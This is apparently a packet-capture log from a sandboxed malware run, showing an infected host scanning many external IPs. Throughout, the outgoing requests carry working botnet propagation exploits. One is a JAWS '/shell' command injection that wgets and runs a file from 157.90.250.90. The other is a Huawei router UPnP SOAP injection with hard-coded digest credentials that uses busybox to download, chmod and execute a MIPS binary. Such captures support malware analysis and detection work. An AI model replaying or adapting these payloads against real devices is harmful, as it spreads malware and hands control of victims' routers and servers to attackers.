Jan 2, 2024 06:24:05.701900959 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:05.852229118 CET	469	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:05 GMT Server: Apache/2.4.57 (Fedora Linux) OpenSSL/3.0.8 mod_perl/2.0.12 Perl/v5.34.1 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	48926	72.37.218.199	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.713033915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	41640	104.79.255.29	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.776320934 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:06.001100063 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:05 GMT Date: Tue, 02 Jan 2024 05:24:05 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 34 36 37 34 32 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 35 26 23 34 36 3b 33 37 61 33 30 36 30 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.44674217.1704173045.37a3060e</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	40310	45.15.66.20	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.830727100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:06.107048035 CET	430	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:06 GMT Server: Apache/2.4.6 (CentOS) PHP/7.4.33 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	57854	202.81.229.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.844789982 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:06.137968063 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	41608	203.170.84.98	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.853328943 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:06.155003071 CET	200	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	60798	154.214.96.70	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.858026028 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:07.471683025 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.359400988 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:13.202950954 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:20.877819061 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:35.979665041 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:07.207268953 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	48486	146.71.40.215	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.866440058 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:06.022851944 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:24:05 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	52468	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.984606981 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:05Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	41028	41.0.84.34	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:06.080918074 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	42372	104.83.91.41	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:06.101526976 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:06.372483969 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:06 GMT Date: Tue, 02 Jan 2024 05:24:06 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 34 35 66 38 63 34 66 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 36 26 23 34 36 3b 32 63 31 62 34 36 63 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.545f8c4f.1704173046.2c1b46c5</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	58998	156.77.130.177	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:06.202487946 CET	882	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	41634	203.170.84.98	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:06.456967115 CET	200	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	52526	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:06.738842010 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:06Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	52542	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:07.633058071 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:06Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	52554	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.401515007 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:07Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	44286	170.130.22.254	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.505354881 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:08.626611948 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:24:08 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	36228	98.123.179.98	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.556843042 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	53794	50.199.186.25	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:08.558341026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:08.846210003 CET	115	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 Connection: close AuthInfo:

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	51342	84.247.28.155	80

Timestamp	Bytes transferred	Direction	Data
